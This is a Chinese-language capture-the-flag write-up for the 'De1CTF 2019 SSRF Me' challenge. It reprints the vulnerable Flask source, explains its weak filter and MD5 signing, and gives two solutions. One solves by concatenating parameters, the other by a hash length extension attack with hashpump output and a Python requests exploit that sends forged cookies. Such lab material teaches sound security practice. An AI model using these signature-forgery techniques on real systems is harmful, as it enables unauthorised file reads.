buuctf-[De1CTF 2019]SSRF Me

打开页面就是源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

flask编写的
其中有三个路由

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
    
@app.route('/')
def index():
    return open("code.txt","r").read()

1：/geneSign：获得url中parma参数，通过getSign(action, param)生成摘要
2：/De1ta：获得cookie中的action和sign，waf(param),创建task对象，调用exce()方法，json格式返回
3：/：返回源码

三个函数

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

getSign：返回secert_key + param + action的哈希值
md5：
waf：禁止了flie和gopher协议

task类

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

checkSign：检查cookie中的sign
Exec：检查cookie中的action，如果scan在action中，将param的文件内容写入result.txt，如果read在action中，读出result.txt 的内容

hint提示flag在flag.txt 中，想要读到他
首先：action=scan，param=flag.txt ，将flag.txt的内容读到result.txt中
然后：action=read，将result.txt的内容读出

绕过点：sign
checkSign会检查cookie中的sign==getSign（param，action）
两个困难点：secert_key的值未知

思路1：利用exce（）直接读取

可以看到判断读和写是两个if关系，也就是说如果action中既有scan,又有read,那么就会依次执行scan和read

sign值的构造：
回到函数gatsign

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

对于secert_key + param + action
虽然我们不知道secert_key
但可以发现param=flag.txt， action=readscan
和param=flag.txtread， action=scan
最后的哈希值应该是一样的

具体步骤
1，访问/geneSign，构造param，action获得对应哈希值

2，访问路径/De1ta?param=flag.txt
bp抓包。添加cookie:sign=上一步获得的哈希值，action=readscan
拿到flag

解法二：哈希长度扩展攻击
action在scan后拼接read
伪造sign

通过访问/geneSign，获得对应哈希值伪造哈希值和payload
在kali中

root@kali:~/ctf# hashpump 
Input Signature: 5d970ce2de3529967f80c9fc9454cd1d
Input Data: scan
Input Key Length: 24  
Input Data to Add: read
de7511e814e7a60bb7607030ffb0c011
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

exp

import requests

url = 'http://f054172c-9ffe-4829-a4e0-cde0de976278.node3.buuoj.cn/De1ta?param=flag.txt'

##将生成\转换成%
cookies = {
  'sign': 'de7511e814e7a60bb7607030ffb0c011',
  'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
  }
res = requests.get(url=url, cookies=cookies)
print(res.text)